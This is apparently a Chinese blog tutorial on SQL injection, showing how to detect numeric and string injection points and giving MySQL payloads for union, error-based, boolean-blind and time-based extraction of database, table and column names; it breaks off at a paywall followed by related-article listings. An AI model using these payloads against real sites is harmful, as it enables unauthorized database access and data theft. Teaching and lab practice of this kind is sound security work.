[漏洞篇]SQL注入漏洞详解

原创 于 2025-02-03 16:25:25 发布 · 2k 阅读 · 26 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#数据库 #SQL注入 #漏洞 #教程 #渗透测试 #安全

[漏洞篇]SQL注入漏洞详解

介绍

把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入，使数据库执行恶意命令，造成数据泄露或者修改内容等，以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。

基础知识

判断注入方式

按照参数类型分为：数字型/字符型
按照注入方式分为：

  • 联合注入
  • 报错注入
  • 延时注入
  • 布尔盲注

这里主要介绍常见的几种注入，其他的注入还包括：宽字节注入、Cookie注入等，详细可查看：https://www.freebuf.com/articles/web/339118.html

按照参数类型分：
1. 数字型：引号 - 永真 - 永假

当输入的参数为整形时，如果存在注入漏洞，可以认为是数字型注入。
测试步骤：
（1） 加引号(单引号/双引号)，URL：www.text.com/text.php?id=3’
对应的sql：select * from table where id=3’ 这时sql语句出错，程序无法正常从数据库中查询出数据，就会抛出异常；
（2） 加and 1=1 ,URL：www.text.com/text.php?id=3 and 1=1
对应的sql：select * from table where id=3’ and 1=1 语句执行正常，与原始页面无任何差异；
（3） 加and 1=2，URL：www.text.com/text.php?id=3 and 1=2
对应的sql：select * from table where id=3 and 1=2 语句可以正常执行，但是无法查询出结果，所以返回数据与原始网页存在差异
如果满足以上三点，则可以判断该URL存在数字型注入。

2. 字符型：引号-引号用真/永真注释-引号永假/永假注释

当输入的参数为字符串时，称为字符型。字符型和数字型最大的一个区别在于，数字型不需要单引号来闭合，而字符串一般需要通过单引号来闭合的。

例如数字型语句：select * from table where id =3
则字符型如下：select * from table where name=’admin’
因此，在构造payload时通过闭合单引号可以成功执行语句：
测试步骤：
（1） 加引号（单引/双引号）：select * from table where name=’admin’’
由于加引号后变成三个单引号（双引号），则无法执行，程序会报错；
（2） 引号用真：’ and ‘1’='1

SELECT * FROM users WHERE id='1' and '1'='1';

这里因为我们添加了永真条件，所以页面不会变化。

这里我们也可以使用注释：比如添加’ and 1 = 1 --+
– 注意，这种注释符后边有一个空格（如果在URL中，空格可以改为+或者%20，因为需要进行编码）

SELECT * FROM users WHERE id='1' and 1 =1 -- ' ;

（3） 引号永假：’ and ‘1’ = '2
这里因为我们添加了永假，所以页面会发生变化，不会显示数据。

SELECT * FROM users WHERE id='1' and '1' = '2' ;

判断列数：
?id=1’ order by 4# 报错
?id=1’ order by 3# 没有报错，说明存在3列
爆出数据库：
?id=-1’ union select 1,database(),3–+
?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出数据表：
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘数据库’#
爆出字段：
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘数据表’#
爆出数据值：
?id=-1’ union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名–+

# 拓展一些其他函数（以MySQL为例）：
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数：
concat()、group_concat()、concat_ws()
按注入方式分：
1. 联合注入(union注入)：适用于显示列的注入

这种查询原理是把前面值整成错误的（id=-1’ 或者id=1’ and 1=2 后面加上union语句），这样就会执行union后语句。union联合查询适用于有显示列的注入。

如果页面有反显（随着请求参数不同，页面显示不同，表明可以使用联合注入）

  • Order by 判断查询列数（4时错误，3时正确，可得知，当前表有3列 ）：
?id=1' and '1'='1' order by 1--+　　页面回显正常
?id=1' and '1'='1' order by 2--+　　页面回显正常
?id=1' and '1'='1' order by 3--+　　页面回显正常
?id=1' and '1'='1' order by 4--+　　出现报错界面

# 可知查询语句主有3列
  • Union select xx,xx,xx判断反显列：
    ?id=1’ and 1=2 union select 1 ,2 ,3 --+
2. 报错注入

通过数据库函数/语法报错，反显数据库敏感信息

  1. UPDATEXML 是 MySQL 中的一个 XML 函数，用于解析 XML 数据并返回结果。
    UPDATEXML(xml_target, xpath_expr, new_xml)
  • xml_target：要操作的 XML 文档。
  • xpath_expr：一个字符串，表示 XPath 表达式，用于指定要更新的节点。
  • new_xml：要替换的新的 XML 内容。
    在SQL注入中，不妨把他简化为updatexml(xx,concat(xx),xx)，concat函数用来拼接字符，当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数，一三随便写即可
  1. EXTRACTVALUE 是 MySQL 中的一个函数，用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
    EXTRACTVALUE(xml_frag, xpath_expr)
  • xml_frag：包含 XML 数据的字符串。
  • xpath_expr：一个字符串，表示 XPath 表达式，用于指定要提取的节点。
    在SQL注入中，不妨把他简化为extractvalue(xx,concat(xx))，concat函数用来拼接字符，当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数，参数一随便写即可。

演示：
在这里插入图片描述

3. 布尔盲注

查询数据无反显且页面存在两种状态

布尔盲注常用函数：

database()          显示数据库名称
left(a,b)          从左侧截取a的前b位
substr(a,b,c) 从b位置开始，截取字符串a的c长度
mid(a,b,c)    从位置b开始，截取a字符串的c位
length()      返回字符串的长度
Ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

Left判断
?id=1’ and left(database(),1)=‘s’ --+
?id=1’ and left(database(),2) > ‘sa’ --+
Like语句判断
?id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like ‘e%’ --+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115 --+

4. 延时注入

布尔盲注是进行逻辑判断，适用与注入页面存在两种状态：正常页面/报错页面
时间盲注是进行IF判断联合sleep函数执行，适用于注入页面只存在一种状态

判断注入点：
?id=1’ and sleep(5)–+ //正常休眠
?id=1" and sleep(5)–+ //无休眠
?id=1’) and sleep(5)–+//无休眠
?id=1") and sleep(5)–+//无休眠
?id=1’ and if(length(database())=8,sleep(10),1)–+

  • 爆出数据库：
    ?id=1’ and if(ascii(substr(database(),1,1))=115,1,sleep(10))–+
    通过判断服务器没有睡眠，ascii码转换115为s ，那么就得出数据库第一个字符为s,下面就可以依次类推了
    substr(database(),N,1)可以通过改变N的值来判断数据的第几个字符是什么
  • 爆出数据表：
    ?id=1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=“security"limit 0,1),1,1)))=101,sleep(5),1) --+
    解释：security的第一张表的第一个字符ascii为101，为字符e
    limit 0,1),N,1还是改变N的值，得出第二个字符
    再判断字符（ascii判断）
    ?id=1” and if(ascii(substr(database(),1,1))>115,1,sleep(3)) --+
    （left语句判断）
    ?id=1’ and if(left(database(),1)=‘s’,sleep(10),1) --+
    ?id=1’ and if(left(database(),2)=‘sa’,sleep(10),1) --+
    Substring函数判断
    type=if(substring((select table_name from information_sc
最低0.47元/天 解锁文章

200万优质内容无限畅学
sql注入漏洞详解
qq_73792226的博客
02-28 1207
1.原理：当我们访问动态网站时，web服务器会向数据访问层发起sql查询请求，如果权限验证通过就会执行sql语句（这种网站内部发起的sql语句一版没有危险，但很多情况下要结合用户输入数据动态构造sql语句，如果用户输入恶意的sql代码，web又不对动态数据进行审查，则会有意想不到的危险）联合注入，布尔盲注，报错注入，延时盲注，宽字节与二次注入，Cookie注入，http header注入（各种类型不做详解，后续可能会做）select * from where id = x and 1 = 1;
web安全——sql注入漏洞详解
weixin_61967363的博客
03-16 1626
sql注入漏洞知识讲解到检查流程总结
payload sql注入_SQL注入 payload 记录
weixin_39918588的博客
01-14 181
使用 REGEXP盲注payloadselect user() from users where user_id=1 and (select(user)from users where user_id=1) REGEXP "^adm.*";来源https://www.secpulse.com/archives/68991.html使用 (子查询) in ("x") 盲注Payload通过 mid ...
常见web漏洞——SQL注入
m0_55854679的博客
04-18 2984
pikachu漏洞练习平台（SQL—Inject） 概述 SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。 从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。 在构建代码时，一般会从如下几个方面的策略来防止SQL注入漏洞： 1.对传进SQL语句里面的变量进行过滤，不允许危险字符传入； 2.使用参数化（Parameterized Query 或 Parameterized Statem
SQL注入漏洞（类型篇）
errorr0
06-24 3192
SQL注入类型
Web安全之注入类漏洞详解及预防
路多辛的所思所想
01-31 1070
注入类攻击是 Web 安全领域中最常见的攻击方式，注入攻击发生在当不可信的数据作为命令或者查询语句的一部分被发送给解释器的时候。预防注入类攻击的最好方法是代码审核，可以将静态的(SAST)、动态的(DAST)和交互式(IAST)的安全测试工具集成到 CI/CD 流程中，以便在部署到生产环境之前检测出并解决掉注入类安全问题。注意避免xml注入、代码注入、SQL注入、HTML注入等注入型安全问题的发生，一定要在数据拼接的地方进行安全检查，对拼接内容进行严格校验和必要的转义处理。常见的注入类漏洞及预防措施。
010202注入漏洞
TangTang_AM的博客
04-04 4432
2-1.SQL注入原理 2-2.Mysql注入有关知识点 2-3.SQLLab靶场搭建 2-4.GET基于报错的SQL注入 2-5.不再显示错误的盲注 2-6.Mysql注入读写文件 2-7.POST基于错误的注入 2-8.GET报错注入 2-9.SQL注入绕过手段 2-10.POST基于时间与布尔盲注 2-11.HTTP头中的SQL注入 2-12.POST_Upadte语句注入 2-13.Cookie注入 2-14.CookieBase64注入 2-15.绕过去除注释符的SQL
【数据库-SQL 注入】SQL 注入漏洞详解 - Union 注入
最新发布
qq_31104067的博客
10-15 837
SQL 注入 即是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。
SQL注入漏洞详解
sev1n的博客
04-10 1605
SQL注入漏洞产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验（类型、长度、业务参数合法性等），同时没有对用户输入数据进行有效地特殊字符过滤，使得用户的输入直接带入数据库执行，超出了SQL语句原来设计的预期结果，导致了SQL注入漏洞。特殊字符过滤：比如'，"，\，，&，*，;，#，select，from，where，sub，if，union，sleep，and，or等；判断是否存在注入，若存在，则判断是字符型还是数字型，简单来说就是数字型不需要符号包裹，而字符型需要。
常见漏洞类型汇总
A_991128a的博客
06-17 1285
SQL注入攻击（SQL Injection），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。（1）表单提交，主要是POST请求，也包括GET请求；（2）URL参数提交，主要为GET请求参数；（3）Cookie参数提交；
常见的一些SQL注入漏洞类型
Loser5的博客
03-14 6720
刚接触SQL注入不久，整理了一些常见的漏洞类型和相关漏洞的演示过程。
注入类漏洞挖掘指南
莫慌的博客
07-31 1228
web注入类漏洞挖掘总结
薄纱全网 史上最全SQL注入漏洞总结
MachineGunJoe666
07-07 1325
注入漏洞在十大Web安全漏洞之中，其主要原因是对用户的输入过滤不严，导致程序以危险的方式运行，注入漏洞应用最广泛，杀伤力也很大如最常见的sql注入，命令注入，还有代码注入、xss等。最常见的Web漏洞之一，作用对象在数据库中，程序没有对用户输入数据的合法性进行验证和过滤，导致sql查询语句被恶意拼接，sql注入漏洞存在的条件：参数用户可控、参数可以动态拼接sql语句并带入数据库查询、参数过滤不严。
注入漏洞一把嗦（原理+步骤+防御）
Y22Lee的博客
03-21 1585
以csdn为例，除去请求头信息，剩下的都是Head信息，其中U-A是用户的基本信息，Referer是用户的请求来源。没有回显的注入，SQL注入中最繁琐；因为没有明确的回显，所以不能直观的得到数据。只能尝试测出数据。一般盲注分为布尔盲注和时间盲注。宽字节是指占俩个以上字节的字符，而一般的字符只占一个字节，被称作单字节(窄字节)。ASCII：单字节编码GBK,UTF-8：单字节/双字节编码（区别根据范围划分，范围与ASCII保持一致）英文通常是默认占用一个字节，而汉字占用俩个字节！
【SQL注入漏洞-01】SQL注入漏洞原理及分类
cc
02-01 7765
结构化查询语言(Structured Query Language，缩写︰SQL)，是一种特殊的编程语言，用于数据库中的标准数据查询语言。SQL注入（SQL Injection）是一种常见的Web安全漏洞，主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。从而导致数据库受损（被脱库、被删除、甚至整个服务器权限陷）。sql注入在安全问题中排行第一。
网络安全——SQL注入漏洞
热门推荐
weixin_54055099的博客
09-08 1万+
SQL注入基本知识和SQL注入基本流程，sqli-labs
常见安全漏洞及其解决方案
A_991128a的博客
06-17 6773
执行时，此后的文本将被忽略。但这并不是无代价的，受到损失最大的就是被控制的网站，往往随着暗链所指向的网站的权重不断提高，存在暗链的网站的权重将不断下降，搜索引擎排名也必然一再下降，严重影响网站的影响力。漏洞危害：该漏洞是通过版本号探测的，可能存在误报Apache HTTP Server是一款开源的流行的HTTPD服务程序.当处理包含大量Ranges头的HTTP请求时，ByteRange过滤器存在一个错误，攻击者可以向服务器发送特制HTTP请求，消耗大量内存，造成应用程序崩溃CVE-2011-3192。
SQL注入攻击实战演示（附源码）
hack0919的博客
03-31 4741
SQL注入是一种非常常见的数据库攻击手段，SQL注入漏洞也是网络世界中最普遍的漏洞之一。
SQL注入漏洞详解总结大全
m0_64583632的博客
01-20 3851
SQL注入利用手法详解大全
SQL注入漏洞详解：入门到精通
"SQL注入漏洞全接触--入门篇" 在网络安全领域，SQL注入是一种常见的攻击手段，它涉及到Web应用程序的安全性。SQL注入漏洞全接触--入门篇主要讲解了如何理解和防范这种威胁。当Web应用程序没有正确地过滤用户输入的...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值